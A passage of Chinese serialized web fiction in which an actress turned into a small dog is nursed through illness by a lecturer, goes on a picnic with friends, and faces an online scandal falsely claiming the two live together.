脆弱的时候可以获得一些特权。
每次妈妈出差,她都希望自己生病,这样就可以打电话哭着问她什么时候回来。
这是她的特权。
躺在妈妈怀里,无声地流泪。
妈妈会用酒精给她擦身体散热,还会把湿毛巾冻在冰箱,半夜拿出来让她枕在脑袋下。
“妈妈,嗓子痛。”
妈妈轻捏她的虎口,穴位传来的酸痛感觉直抵大脑,她不反抗,认为疼痛会让她变得更好。
这是她内心深处潮湿的秘密,她贪恋般地享受母亲为她彻夜操劳,母亲的手掌紧贴在她的手臂,她才能知道自己被爱着。
像这样的机会很难得,她生病的次数屈指可数。
从小习武,身体素质好,就算她在寒冬腊月里洗冷水澡也没法让自己生病。
所以她倍感珍惜。
她想用身体挽留病痛,叫它们晚些再走。不走更好,就一点点啃噬她的身体,交换更多的关心和爱。
眼角流出的眼泪,半是幸福,半是痛苦。
还没流进鬓角,就被人拭去。
“妈妈,痛。”
“哪里痛?”
夏焰抽泣着说不出话,睁不开眼睛,回握身边人的手。
“头痛吗?”
对方用手掌根贴在夏焰太阳穴,抵住她疯狂跳动的脉搏,微微用力,镇压上面长留的痛。
夏焰长呼一口气。
“冷。”
有人隔着被子把她抱进怀里。
“妈妈。”
她像牙牙学语的孩子,第一次学会叫妈妈,一
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定要得到妈妈的回应。
“妈妈。”
“在的,宝宝睡吧。”
湿毛巾擦拭她的额头,刺鼻的酒精味道溜进她的鼻腔,在空气中挥发带走她身上的热。
她出了一身的汗,又喝了太多的水,爬起来想要去厕所,还是头晕,从床上站起来一头栽下去,被林砚之一把揪住。
“要喝水吗?”
“嘘嘘。”
小狗狗叉着腿捂着肚子。
林砚之把她带进厕所,放到马桶上,还得提溜着,怕她仰过去掉进马桶里。
“好了。”
小狗点点头,他给擦干净,冲厕所,擦爪子,一气呵成。
夏焰坐在毯子围成的小窝里,没有力气,等林砚之喂水喂饭。
她的脑袋靠在林砚之拿碗的手臂上,小爪子抱着他的手,等他一勺一勺喂饭。
一点点地嚼,一勺勺地喂。
身体不舒服也吃不下什么东西,吃了两口就不吃了,觉得嚼得累,抓他的手叫他收碗。
又晕晕乎乎撒娇抱着他的手不叫他走,林砚之只好放下碗抱着她。
不把碗放回去,林砚之觉得心里膈应,怀抱着小狗,眼睛盯着碗看,不知道在想什么。
夏焰拍拍他大腿,想要睡觉。
“别睡,刚吃完饭,玩一会吧,看会电视吗?”
林砚之打开电视。
好巧不巧。
正是夏焰之前参加的综艺节目。
电视机里的邹城歪着头把面粉抖进夏焰嘴巴叼着的的纸片里,拍摄角度十分暧昧,镜头几次故意扫到两个人的耳朵,红彤彤的耳朵欲盖弥彰。
林砚之腿上的小狗像跳蚤一样蹦起来,撞到林砚之的下巴,捂着头蔫倒在他怀里。
你丫的还挺会搞节目效果。
那明明是气红的!
夏焰气血上涌,直冲天灵盖,要气得流鼻血。
当时下意识厌恶地闪躲,现在配上背景音乐在众人的起哄声中变成了羞怯地退缩。
她屏气凝神,那时散落的面粉被倒放重新扑面而来,让她窒息。
果然,那个镜头一秒未剪,完完整整,还被反复放大出现多次,反而邹城的镜头被删去了,只剩下他在众人的嬉笑声里为她解围,轻擦鼻尖。
夏焰在罐头笑声里底下头,缩成一团,耳朵盖住眼睛,浑身发抖。
电视被关掉了,尼莫发出不满的抗议。
林砚之把遥控器重重丢在茶几上,电池都摔落在地。
他用毯子重新裹住夏焰的身体,把她抱在怀里,轻拍她的后背。
“别哭,别哭。”
小狗的大耳朵用来擦眼泪,捂着脸低声涰泣。
“好嘛别哭了,他们都坏,打他们!”
像是在哄刚学会走路的小孩。
“是谁害得我的宝贝摔倒!坏楼梯!打它!”
姥姥牵着小燕的手,用力拍打铺着地毯的台阶地面。
“姥姥替小燕打!”
“打!”奶声奶气的小燕也学着姥姥的动作,用小手打地板。
打着打着她自己也笑起来,要姥姥抱进怀里。
“我帮你打还是你自己打?”
夏焰摇摇头。
不打。
林砚之拿起沙发后面的苍蝇拍抱着夏焰走到电视柜前,打开电视挑出刚才那几个人的画面暂停,围着电视机来回拍打,尤其是对着邹城的脸打,打苍蝇一样又快又狠。
“谁还敢欺负我们小燕。”
夏焰破涕为笑,抱着他的脖子贴着他的脸。
尼莫崩溃大叫:“我看你真是疯了。”
36. 烈焰狂魔灭世神龙!豆豆!
尼莫嚼着鱼粮,躺在红珊瑚上思考鱼生。
夏焰穿着一件正红色的小棉衣,坐在沙发上吃苹果。
林砚之亲自削皮,切成几小块方便她吃。
他拿来水银温度计塞在夏焰腋下,搂住她的胳膊,把她抱在怀里。
低头看夏焰吃苹果,嚼嚼嚼,咽下去了,他再喂她一块。
“多吃点,前几天什么都没吃,饿瘦了。”
说着手指摸到夏焰肚子,夏焰停下咀嚼,抬脚就去踢他。
他笑着躲开,摸摸她的耳朵,用小梳子给她梳毛。
“你就应该多吃点,倒是鱼缸里的那位要少吃点。”
“啥意思!我问你啥意思!”尼莫嚼着鱼粮,骂骂咧咧。
趴在鱼缸边狠狠教训了一番林砚之,拍拍自己的小肚子重新躺回珊瑚上。
“好了,我看看温度计。”
夏焰抬手,让他拿出来。
林砚之仰头对着灯,仔细地辨认温度计上显示的温度。
“还可以。”他揉揉夏焰脑袋,“没有不舒服了吧?”
夏焰点点头。
咬着他的袖口,往卧室走,现在是午睡时间!
夏焰很久没有过这么规律的作息了,晚上九点前就睡觉,林砚之坐在旁边办公,她用耳朵遮住眼睛呼呼大睡,一觉睡到早上七八点,起来吃林砚之准备的早餐。
不论他要不要上班,早餐一定会为她准备好,如果要上班就给她放在保温箱里,不上班俩个就睡到自然醒,饿了再说。
夏焰吃过午饭消消食就准备上床睡午觉。
林砚之没有睡午觉的习惯,他坐在一边看文献资料。
午觉不能睡很久,要不晚上睡不着,一个小时左右,林砚之会把她叫醒。
但是今天叫醒她的不是林砚之,是一阵急促的敲门声。
她眨眨眼睛适应眼前的亮光。
“你再装!我给弟妹送个果篮,你少管我!”
“没在家吗?还是睡觉呢?”
肖旸旸的大嗓门,穿透力十足。
睡觉也被你吵醒了好吧。
夏焰踢开被子,翻身下床。
摇着尾巴从卧室里走出来,得意忘形的样子,故意在肖旸旸面前走来走去。
肖旸旸提着果篮,站在客厅,眼睛却时不时往卧室里瞟,里面拉着窗帘,昏暗的房间,飘动的窗帘,留给人遐想的空间。
“你要不进去看看。”
林砚之捏着鼻梁,无奈叹气。
“不好吧。”
夏焰伸爪去抓他手里的果篮。
“哎呦小宝我这是带给这个家的女主人的,你等会再吃。”
夏焰瞪他一眼,甩着尾巴往屋里走。
“唉你咋进去了,不好不好,快出来。”
夏焰走到窗帘边,咬着窗帘把它们推到一边,整个房间暴露在光亮下,没有了秘密。
“汪汪!”
夏焰站在卧室招呼着屋外的肖旸旸,冬日太阳不够温暖,却异常明亮,甚至有些刺眼。
肖旸旸迟疑着挪动身体,缓缓走进卧室。
床上空无一人,房间里的浴室门也大方地敞开,整个房间都空无一人。
床上只有林砚之折好的被子,还有夏焰睡乱的小毯子像没发酵好的馒头。
他在一片混乱中试图抓住一点线索,抓住一根线头,线头,线头,他想着,眼睛却不由自主地被脚边摇晃的尾巴吸引。
小狗坐在正中央,面朝着卧室门,在阳光笼罩下,分生出一个自己落在地板上。
一个念头转瞬即逝,肖旸旸没有抓住,心中千滋百味,好像被虎爪抓挠。
他皱眉看向面前的小狗。
小狗正歪头看向屋外的林砚之。
林砚之抱手,站在屋外,隔着门框看着夏焰。
“嘶我怎么觉得……”肖旸旸欲言又止,说不清道不明,抓耳挠腮。
“你看完没有?”
林砚之跨步走进卧室,把地上的小狗抱起。
“看是看完了,我总觉得哪里不对劲。”他说话声音越来越小,底气不足。
“她没在家?”
“哪里来的女人,你记错了吧。”林砚之阴沉沉地说。
肖旸旸惊恐万分,张大嘴巴:“大哥你别吓我,我老婆出差了我今晚要自己睡。”
他把手里的果篮塞进林砚之手里,挠挠小狗下巴。
“乖乖,你妈妈上哪去了?啊?你告诉叔叔。”他对着夏焰嘟嘴,突然语调升高,“难不成是你变的!”
夏焰身体一颤,被林砚之搂进怀里。
“你中邪了?说什么胡话?不上班吗?”
林砚之一口气问了三个问题,让肖旸旸连连败退。
肖旸旸被强制送客,他摇摇头怎么也不相信林砚之说的。
弯腰穿鞋,顺走一根香蕉,边吃边伸手揉揉夏焰的脑袋。
“小宝你掉毛有点严重哦。我在房间里捡到好多根你的毛毛。”
夏焰突然炸毛,挣开林砚之的手臂跳下地,跑进屋里。
林砚之给了肖旸旸一掌,转身去追小狗狗,听见肖旸旸得逞的笑。
夏焰在屋里急得乱转,趴在地上转圈,要看看到底掉了多少毛毛。
“这都是我人见人夸的好毛毛,怎么会无缘无故地掉。”
夏焰抓着自己的耳朵,趴在地上一动不动。
林砚之单手把她抱起来,走到床边,用手抚平床单。
“哪里有?他骗你的。”
夏焰抬头听他说,低头看床单,蓝色的床单干净整洁。
她跳到床上,地毯般搜查,确实没找到一根狗毛,安心地下床去客厅翻果篮。
林砚之重新折好她的毯子,整理床单,没有发现小狗毛毛,却在枕头上捡到了一根黑色的长发。
他侧身看向屋外,夏焰正踮着脚够果篮里的菠萝。
他把头发绕在指尖,缠成圆环,放进裤子口袋,若无其事地继续收拾房间。
林砚之弯腰捡起地上的胡萝卜磨牙棒,听见客厅里传来动静。
几步走出卧室,看夏焰捂着脑袋坐在地上,她拉过他的手指着地上的大菠萝,又指指自己的脑袋。
“给我脑袋砸一大包!”
瘪着嘴委屈巴巴,坐在林砚之手臂上,给肖旸旸打电话。
“喂?”
“汪汪!”
混蛋!
“啊?”
“果篮里塞个没削皮的大菠萝,你有毛病没?”
“啊?”
肖旸旸在回家的路上接到一个莫名其妙的电话,收到两句无端的辱骂,还没等他说话就被挂断了,他望着手机,无语凝噎。
林砚之拿着菠萝去厨房削皮,夏焰坐在沙发上看电视,听到门铃响,跳下沙发去开门。
门一开,豆豆的大脸立马挤进来。
“猫宁!”
“现在是下午了。”
“怒嗯!”
“小燕燕!”
穿着花棉衣的小慧戴着口罩牵着绳站在豆豆身后。
“哦,你俩冰释前嫌,破镜重圆了?”
“啥意思?”豆豆舔舔夏焰的脸,“你脑袋咋这么大?
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”
“痛!别碰。”
“我给你吹吹,呼呼。”
林砚之端着盘菠萝,让小慧进来坐。
“不,叔叔,我们要去野炊,小燕也要去。”
夏焰疑惑抬头:“什么时候的事?”
“阳阳姐姐还有丁丁在下面等我们啦,我来接小燕。”
林砚之放下果盘,弯腿蹲下,和夏焰对视。
豆豆还在一个劲地吹夏焰的脑袋。
夏焰推它:“行了行了,等会又给我吹感冒了。”
“叔叔不让小燕和我们去吗?”
一人两狗注视着林砚之,让他倍感压力。
“不是。”
“哦那我们走吧。”
说完拉着夏焰的手带她往门外走。
“等等!那个。”大家转身等他说完,他好像酝酿很久,终于说出口。
他笑着问小慧:“可不可以带上我?”
小慧低头数了数手指。
“不行!丁丁的小车坐不下了。”
“坐得下坐得下,我打车。”丁丁把豆豆丢进后座,又伸手去抱夏焰。
夏焰一歪躲过他的手。
林砚之说:“我们俩开车去,直接到地方遇。”
“我要和你坐!”豆豆撞开丁丁,抓住林砚之的裤腿,对着夏焰吐舌头。
“我要和豆豆坐在一起!”
系好安全带的小慧在车里扣着纽扣要下车。
丁丁只好把她抱下来送进林砚之车里。
“叔叔你的小车好漂亮耶。”
三个坐在后座探头探脑。
“那要不我也过去吧,看着点,让他好开车。”
简阳对丁丁说,拉开车门。
“啊?那我还是打车吧。”丁丁也下车,缩着脖子伸手打车。
林砚之给夏焰背了水杯和一口袋的零食,还有那个大菠萝。
简阳带了餐布铺在草地上,放上各种零食饮料。
今天天气好,很多人来公园里野餐。
阳光照在脸上痒痒的,夏焰挠挠鼻子,打个喷嚏。
林砚之坐在垫子上,两条长腿一伸把她夹在中间,从她的小书包里掏出一个帽子,毛茸茸的小兔子,给她戴上。
豆豆跑来她身边,戴着红围巾,吐出舌头,嘴里冒着白气。
“过去玩!”
“不去,我要晒会太阳,你去吧。”
豆豆朝小慧跑去。
姗姗来迟的丁丁提着一盒蛋糕。
“还没到公园门口,司机就停车了,他说不让进,我自己走过来的,慢了点。”他举起手里的蛋糕,对简阳笑,“我在路上看到摆摊卖巴斯克蛋糕的,想起你昨天说,今天正好遇到。”
他看简阳挖了一勺塞进嘴里,问她:“好不好吃?”
简阳笑着挖了一勺塞进他的嘴里,然后亲吻他的左脸。
夏焰看傻了,坐在林砚之两腿间看看天看看地。
这个天真白啊,这个草真黄啊,这个林砚之,怎么不说话啊,多尴尬啊。
她悄悄扭头看向沉默不语的林砚之。
发现对方正低头看着她的脑袋。
发现她回头:“怎么了?”
他们俩不约而同地重新看向对面咬耳朵的小情侣,只一眼又快速离开,他们面对面坐着,沉默着。
夏焰把爪子放到他的膝盖上,他的手盖在她的爪子上。
热乎乎的。
他说:“我们去…”
还没听清,被一旁的声音打断。
“去吧!烈焰狂魔灭世神龙!豆豆!”
37. 这章叫一个家最好只有一个娃^^……
豆豆从草丛里钻出,奔跑着去接小慧丢出的玩具球。
“你想说什么?”夏焰拍拍林砚之的大腿,叫他继续说。
豆豆把球叼回来,甩到林砚之脚边,用鼻子拱她的脸。
“哎呀,你自己去玩嘛,我有正事要问。”
豆豆发现拉不动夏焰,就去咬林砚之裤脚。
“别咬了,我快没裤子穿了。”
林砚之站起身来拍落粘在裤子上的草,拿起玩具球,朝着远处,抛出一个漂亮的抛物线。
“去吧,举世无双铁血战神·霸王龙·小燕!”
夏焰斜着眼睛看他,从他的鞋面上踩过去,留下两个泥脚印。
豆豆替她认领了这个称号,再次冲锋,跑向对面。
“你怎么了?去玩一下啊,天气这么好,你看那边好多小狗,你去和它们玩一下。”
他话音未落。
不远处传来“砰”的一声。
“妈耶!大—卡—车!”
豆豆和一只阿拉斯加同时起跳抢球,结果被对方撞飞,滚了一圈,停在人家露营车前,望着烧烤摊口水直流。
“走啦,你又乱吃东西。”
小慧去拉它怎么也拉不动,它吐着舌头坐在烧烤摊前摇尾巴。
林砚之跑过去帮忙。
夏焰趴在野餐垫上,打个哈欠,拍拍丁丁的屁股,让他别再往后挪了等会坐她脸上了。
两人甜言蜜语,你侬我侬,丁丁拿起手机给简阳拍照,边拍照边拍马屁。
“这个太好了拍得,主要还是人好看。”
夏焰把两个耳朵交叉盘在脑袋上,不想听见他说话。
趴在垫子上玩林砚之的手机。
她点进他的银行卡账户又数了一遍账户内的金额。
一、二、三……很好,确实有很多个零。
不是她做梦,也不是他在说胡话,至少在资产上没说胡话,至于其他的……夏焰扭头去看抱着豆豆往这边走的林砚之,百感交集。
豆豆还在他的怀里不停蛄蛹着身体,像蠕动的毛毛虫。
她从前天开始,每天都要点进去数一遍她才安心,不是她掉进钱眼里了,是怕某一天醒来发现那一晚的一切都是一场梦。
林砚之第二天像没事人一样继续照顾她的日常生活,仿佛一切都没有发生,他发自肺腑的剖白随着清晨的到来而消散,无迹可寻。
“叔叔你说我说的对不对嘛,到底谁是豆豆的妈妈,是我还是阳阳姐姐?”
小慧拽着林砚之的胳膊,不叫他再往前,林砚之一手抱着豆豆,一手牵着小慧,一边肩膀的衣服掉下肩头挂着,略显狼狈。
夏焰伸个懒腰,准备去帮帮他。
爪子不小心滑动手机屏幕,账单页面出现在眼前。夏焰自诩不喜欢探究别人隐私,但是林砚之的账单不算隐私,他连他有多少钱都告诉她了还怕她看账单吗?更何况她只是想看看他在她身上花了多少钱,以后要还的。
嗯嗯。她点点头。没错。
她悄悄看了一眼最近的支出,发现在几天前,有一笔几千元的支出,收款方是什么食府,是个餐馆。
林砚之什么时候出去吃饭了?这么贵的饭他一个人吃吗?
她仔细回忆那一天的日期。
今天是20号,她已经生病休养了三天,账单日期刚好在她生病前一天,就是林砚之喝多的那天。
她想起来了,那一桌子菜,她只吃了一个馅饼!
夏焰跳起来,踩着林砚之的脚抱着他的腿,大叫:
“你这个笨蛋!怎么是你付的钱!”
林砚之两只手都没空,只好弯腰让夏焰搂住他的脖子,攀在他身上。
“什么?”他皱眉不清楚发生了什么。
“你这个笨蛋!他们知道是你买的单吗?”
她用湿漉漉的鼻子抵在林砚之鼻尖,离得极近,两只眼睛快成斗鸡眼。
左边胳膊上的豆豆还在耍赖。
“我要吃!我要吃!我肚子饿了我要吃!”
林砚之用力抓住它的身体不让它摔下去。
右边胳膊被小慧抓住。
“为什么豆豆不能去我家?它刚出生我就认识它了,我也是它妈妈!”
小慧闭眼崩溃大哭,眼泪鼻涕一起流,抱着林砚之的胳膊,全擦在他的袖子上。
挂在他脖子上的夏焰还在板着脸教训他:“你一口没吃你还买单!我就吃了口馅饼,我告诉你那饼难吃的要死,说不定就是那个饼让我吃吐了的,啊啊啊,你还买单了!”
她扯着他的耳朵大叫。
林砚之摇摇头,耳边传来嗡嗡的耳鸣声。
“好了,好了。”
没人理会他。
那边的小情侣已经进入无人之境,完全忽视他们的存在。
林砚之觉得眼眶发酸,很想腾出一只手来揉揉眼睛。
“好了!”
林老师发怒了。
整个世界都安静了。
豆豆识相地自己翻身下地,安静地耷拉着尾巴跑到简阳身边坐着。
丁丁跑来把哇哇哭的小慧牵走,问她怎么了。
“呜呜呜丁丁我当不了妈妈了。”
只有夏焰还挂在林砚之身上,气呼呼地盯着他看。
盯着林砚之的眼睛。
林砚之轻耸肩膀,把外衣抖正,双手放在身前的小狗身上,把她搂进怀里,让她坐在手臂上。
揉揉她的脑袋:“你怎么啦?那么生气。”
弯腰捡起垫子上的手机,往夏焰的电话手表里转了五块钱。
“去买个烤红薯。”
前两天沈盛来看她,还把她的手机带来给她。林砚之怕小狗出门把电话搞丢了,给她买了个电话手表,把手机电话卡换下来插进去,表带卸下来,换成挂绳,和她的长命锁一起挂在脖子上。
“烤红薯要十块。”
她举起两个爪子在林砚之面前。
林砚之笑笑,见她不生气了,又转了二十到她手表里。
胸前的手表发出震动,一下一下震个不停,胸前麻麻的。
“别再转啦,等我变回去再转。”
她舔舔嘴巴,胸前的手表还在震动。
“哎呀都说了别转了。”
她拍拍林砚之的脚踝。
林砚之弯腰把她抱起。
胸前依旧在震动。
夏焰瞪大眼睛拿起手表,一个电话打进来,上面显示的来电名称是:妈妈
身体僵住,电话也在这时候挂断了,震动停止。
他们两个不约而同地看向彼此。
“要打回去吗?”
林砚之问她。
夏焰愣神,还没想出答案,掌心的震动再次出现。
像个烫手山芋躺在她的手心。
林砚之托住她的爪子,震动同时也传到他的手上。
夏焰现在简直是大脑一片空白不知所措,只记得一件事,就是绝对不能让妈妈知道她现在的样子。
“汪汪汪汪汪汪。”
她一着急嘴里就无意识发出地嚎叫。
电话挂断了。
夏焰颤抖着点开短信。
“你在干什么?”
“快点接电话。”
电话第三次响起。
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夏焰胸前剧烈起伏。
她下意识贴近林砚之的身体,急促呼吸从空气中汲取氧气,四肢开始发麻,眼前冒出丛丛黑点。
林砚之一把拽下她身前的手表,在她错愕的神情里接通电话,然后用力甩出去,飞过豆豆他们的头顶。
“豆豆!去!”
豆豆脑袋一晃,变身成为身手敏捷的猎豹,紧随着甩出的手表奔跑,在抛物线的终点一口咬住猎物。
摇动尾巴,端坐在地上,汪汪叫着,等待奖励。
“你这个坏狗,叼的什么?吐出来!”
豆豆疑惑的扭头看林砚之,林砚之单手抱着夏焰,另一只手招呼着卖烤红薯的老板给他拿来一个红薯,他放到豆豆面前。
豆豆这下可不管他说什么了低头就是吃,吃美了还要哼哼两句。
林砚之还在对着手表那头自说自话。
“你叼的谁的手机?你把谁手机丢水里了?你这个坏狗!”
“汪汪汪!”
豆豆咧嘴对他笑。
“喂?喂?你好?”手表里传出女人的声音。
“喂?能听见吗?你好?”林砚之捂住听筒,只露出部分细碎的声音。
“不好意思,能听到吗?”电话那头声音微弱。
林砚之拿着手表不再说话,没过几秒电话就挂断了。
夏焰抱着他的脖子,魂不守舍,还没从刚才的惊恐里脱身。
林砚之把手表揣进兜里,往上颠颠她,摸摸她的嘴巴:“没事的,等一下给她发个短信,就说你的手机坏了,暂时只能发短信。”
他向老板又要了个红薯,热乎乎的,刚出炉的红薯,被夏焰抱在怀里。
“三十。”
老板搓着手,笑眯眯地看着他们。
林砚之掏兜。
“我手机没在身上,过去拿了给你。”
老板还是笑着看着他们,嘴里吐出白气。
夏焰冷不丁打个哆嗦。
林砚之又摸摸裤兜,也是空空如也,这下确定了他口袋里一个钢镚也没有,只有夏焰的小手表。
他低头看向夏焰。
“嗯。”
老板掏出手机扫码。
“这小手表还能付钱呢哈哈哈…老板你这个不够,还差五块。”
林砚之:“……”
老板挥挥手:“算了算了,就二十五得了,少你们五块。”
林砚之连忙感谢老板,接过手表,听见拉动拉链的声音。
老板和他同时低头,只见一只毛茸茸的小爪子缓缓打开,掌心里面抓着五块钱。
林砚之开车带夏焰回家,提前和丁丁,简阳告别。小狗趴在男人怀里脸色不太好,大家只当她大病初愈,精力有限。
夏焰歪倒在座椅上,窗外雾蒙蒙的,好像是局部有光,阳光仅仅停留在刚刚离开的公园里,出了公园外面一片晦暗,雾霭沉沉。
林砚之把手机递给她:“连了蓝牙,你放音乐吧,你不是喜欢唱歌吗?”
夏焰想摇摇头拒绝,但怕影响他开车,只好接过手机。
刚拿到手机,就发出震动,她应激似的把怀里的手机丢出去。
林砚之靠边停车,手臂环住她,用力抱紧,安抚她绷紧的神经。
车载蓝牙接通电话,传来沈盛的声音,声音急切。
“你们在哪?”
“我们在外面,她妈妈给你打电话了吗?我们……”
“什么电话?我没接到。”她语速很快,打断林砚之的声音,“夏焰呢?!”
她怒吼:“现在全网都知道你和他未婚同居!”
一声惊雷在车内爆开。
38. 我要狠狠地亲你的嘴巴
“下雨了。”
尼莫扭身吐出两个泡泡。
夏焰听到它的话缓缓看向窗外,铺天盖地的黑。
她推开窗户,毛毛细雨,针一样刺向她的眼睛,眨眼间失手从窗台上跌落。
咚地一下摔在桌面上。
她仰头和鱼缸里的尼莫对视。
“你听见雨声了吗?”
尼莫摇摇头,针一样的雨滴落下是无声无息的。
它从水面沉到水底,又从水底漂到水面,它说:“我感受到了。”
“什么感觉?”
“没法说,如果你在水里生活,你就能感受到。”
她出生在人世间,体会到另一种感觉。
连绵不断,斩不断,理还乱。
分不清是恶劣天气带来的低气压让她喘不过来气,还是两人一路上的沉默更让她无措。
林砚之就像无事发生一样,平静地转动方向盘,带她驶离一个个错综复杂的十字路口。
现在他站在厨房门口举着一把芹菜,问她想不想喝芹菜汁。
夏焰趴在鱼缸旁边不说话。
“那就给你做个凉拌西红柿好了。”
他自顾自地说着,低头系上围裙,拉上厨房门。
夏焰从鱼缸桌上跳下来,跳到电视柜旁,踮着脚踩着林砚之的教材书拉开抽屉,把手机拿出来。
林砚之的手机被他自己拿着,不给她用。
她只好拿回自己的手机。
小狗没法把手表里的电话卡重新塞回手机卡槽,没法打电话。但是连上了林砚之家里的无线网,她一打开手机,各种讯息铺天盖地飞来,把屏幕占得满满当当不留一丝缝隙。
手机卡顿了两分钟才恢复正常。
夏焰心跳如鼓,不敢点进跳的最疯狂的微博,她不敢想会收到什么留言评论。
平日里名不见传,夸她的少有,骂她的更少,没人在乎她,也就没人评价她。
她像被开水烫到一样,下意识挪开手指,没有立即点击软件,跳转到微信。
令她惊讶的是居然没有人给她发微信,她不可置信地从头划到尾,退出又重进,重新刷新。
只有妈妈给她留言,叫夏焰给她回电话,时间是几个小时前,估计是和短信一起发送的。
沈盛没有给她留言,直接打来了电话。
“这段时间公司接管你的账号,帮你发照片,谁知道把你发给我的那张自拍照也传上去了。”
“不知道谁买的营销号,扒出来林砚之的账号,非说你们俩已经同居了,一起养狗。”
“疯了!一群疯子!你一共才几个粉丝,居然也能造这么大势。”
“从上到下给你骂透了,最先说你未婚就和男人同居。现在被不知道哪冒出来的一方引导网友,说和别人同居这事只是个名头,真正有意思的还在后头。”
“招谁惹谁了?你能惹到谁啊?”
“邹城?他的粉丝是在评论底下跳脚,骂你故意和他捆绑,但恐怕幕后黑手不是他,你们俩的电影还没上映,把你搞垮了,他也有损失,得不偿失。”
“你?先待着吧,公司上面的意思是有热度总比没有强。”
“行了,电话联系。”
电话挂断了。
夏焰手里的电话总是被单方面挂断。
沈盛已经讲得够多够仔细的了。
她已经清楚了事情的来龙去脉,她知道这时候应该开启自我防御,不要掉进舆论陷阱。
她还是无法当做什么都没有看到。
以为会收到谩骂侮辱,在心里想象会看到的词汇,其实都没有出现。
绝大多数人抱着吃瓜的心态在她的微博评论区里一轮游,只是为了听八卦,在这里面的大部分其实根本不认识她,默默地在评论底下发出一句疑问:“谁啊?”
“她到底是谁啊?”
“惹到哪位大佬了,要这么搞她?”
只有一小部分浑水摸鱼,在私信里骂她,大部分顶着邹城的头像。
夏焰气笑了。
空降热搜榜第一,籍籍无名的小演员,在周五的晚上,最佳的休闲时间。
像是在众人回家的路上突然出现一个巨型气球,颜色鲜红,引人瞩目,上面用白颜料写着四个大字:世界末日。大家纷纷驻足,想要一探究竟,掏出手机,要记录下这一刻,等他们拿出手机,镜头不断放大,才发现这是一个辣条广告牌,上面还印着老板的大头照。
失望又气愤,大叫一声:“这啥啊!”
但他们又不会立马离开,因为有人留下线索,稍后更精彩。
无论接下来出现什么,他们都乐意一看,毕竟在回家的路上也需要消遣。
夏焰和他们一样不清楚接下来会出现什么。
她也只有等待。
林砚之洗了碗,拖了地,还把夏焰所有的马甲外套都洗了一遍。
夏焰很想告诉他明天还是个阴天,衣服晾不干,会有霉味。
她知道就算他能听懂,此时也不会停下动作,他要一直工作,才能正常运作,现在不停做家务,也只是为了掩盖内心的焦躁。
洗衣机再次启动,阳台上挂满了衣服,林砚之还在不停弯腰从地上的盆里拿出衣服往上面挂。
夏焰走到他的脚边,抱住脚踝坐在他的脚面上。
他停下动作,手里的湿衣服从衣架上重新掉回盆里。
他在裤子两侧擦干手,把夏焰抱起。
他笑着问她:“困了吗?”
客厅墙上的时钟已经指到九点。
“睡觉吧。睡一觉什么都好了。”
林砚之端来一盆热水,蹲在夏焰面前拉过她的手,用毛巾一点点蹭她的眼角,给她把手脚都擦干净,抱她上床。
他给夏焰盖好被子,叫她乖乖先睡,他去洗漱。
“睡吧,睡醒什么都好了。”
他轻声安慰,殊不知他的心是悬的,说的话听起来也是空的。
他转身走进浴室。
夏焰见他离开,立即从床上爬起,翻开他挂在衣架上的外套,从口袋里拿出他的手机。
一边听着他的动静一边快速打开手机。
点进他的账号,冲出来的红点提示不比她的少。
同样的,评论区大部分都是吃瓜群众,热评第一居然是他的学生。
“我靠,这不是我老师吗?”
“别赞了,没啥说的,老师人很好,上学期捞我了。”
他的评论区还有部分人在夸他长得好看。
“像金城武,比明星还明星。”
“照骗你也信?”
“见过本人!金城武本武!”
夏焰眼皮一跳,看到了熟悉的名字,阿飞和阿强。
她松口气,还好舆论不是一边倒。她把他露脸的照片删除了,即使已经于事无补,最后帮他开了一键防护。
在她完全关闭评论前收到了最后一条私信,是个男人发来的。
他说:“大学老师就能睡到女明星了?”
文字在她的脑袋里出现语音语调,还有说话人扭曲的嘴脸,狎昵的笑。她的手不住颤抖,点进他的主页,发现他在之前就给林砚之发过私信,几次询问想要小狗的近距离照片。
林砚之置之不理,他却锲而不舍,隔段时间就来骚扰一下林砚之。
彻底拉黑这个人。告诉自己就当从没看到。
她要怎样骗过自己,安抚自己的大脑,告诉它自己从未受伤。
夏焰侧躺在床上。
告诉自己:
睡吧。
睡吧。<
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p>醒来就没事了。
其实只是做梦而已。
做梦,像爱丽丝一样做了一场梦。
她很久没听着爱丽丝的故事入睡了,以为再也不用靠别人的梦入眠。
但是今天失败了。
小小的夏焰曾经轻轻拍着自己胳膊哄自己入睡。
现在的夏焰在脑袋里重演《爱丽丝梦游仙境》,给自己讲睡前故事。
“来不及了!来不及了!”
她穿过草丛,紧跟着兔子先生,脚下的皮鞋踩在石子路上发出啪叽声。
“来不及了!”
兔子先生消失了。
她一脚踩空,掉进兔子洞,在坠落的过程中不停地翻转身体,失重感让她心脏骤停。
“来不及了!”
她猛然惊醒。
林砚之关门的声音。
夏焰还没缓过神来,下意识就跟上他的脚步。
他走到阳台接通电话。
夏焰坐在阳台门外放着的水竹旁边,高高的水竹挡住她的身体。
“什么叫不需要?”
林砚之声音里带着几分愠怒。
不等对面说话,他接着说:“就任由他们给她造谣?”
他的小臂肌肉绷紧,用力捏紧栏杆,像是捏在夏焰的心上,阵阵酸痛。
他重复电话那头的回应:“什么最重要?”
夏焰听不清电话那头的声音,即使是在这样安静的夜晚,只能听见她的心跳声。
扑通、扑通。
短跑运动员站在各自的起跑线上,深呼吸,心跳加速,只等枪响。
砰!
林砚之用尽全身力气狠狠砸向栏杆,震得栏杆嗡嗡作响,几秒才停下共振。
“没有什么比她更重要!”
他的声音在整个屋子里回荡,碰撞。
夏焰的爪子抓在水竹盆边沿,寒气透进她的骨肉,让她发颤。
“明天一早我去找你们,我来澄清,这不是她的工作,她的工作是拍电影。”
“就这样。”
林砚之把阳台窗户推开,寒风凛冽,他就这么站在原地,身姿挺拔,岿然不动。
直到彻底平静下来才走出阳台,他一转身就看到坐在水竹旁的夏焰,微微愣神。
他扯开嘴角,想让表情不那么狰狞吓人,伸手把她抱起。
“什么时候来的?我身上凉不凉?快到被子里去。”
他扯过被子为她盖上,又把空调温度调高。
双手来回揉搓,直到恢复正常温度才摸摸夏焰的脑袋。
“睡吧,明天睡醒带你去吃汉堡,一觉睡醒什么都好了。”
“很晚了,我也睡,你闭上眼睛。”
林砚之手伸过来,夏焰顺从地闭上眼睛,听着他的呼吸声渐渐平稳,她重新睁开眼睛。
看着他的侧脸,她的五脏六腑都在抽泣,唯独她的眼睛已经哭不出泪来。
“你错了呀,这不是你的工作,分明属于我。”
又或许他们之间早已分不清你我,你是我的,我也是你的。
“这是我要去做的,我必须要做的,我能做好的。”
“你信不信我?”
夏焰用她冰凉的手指轻碰他的鼻尖,他身上微凉,呼出的气息却是烫人的。
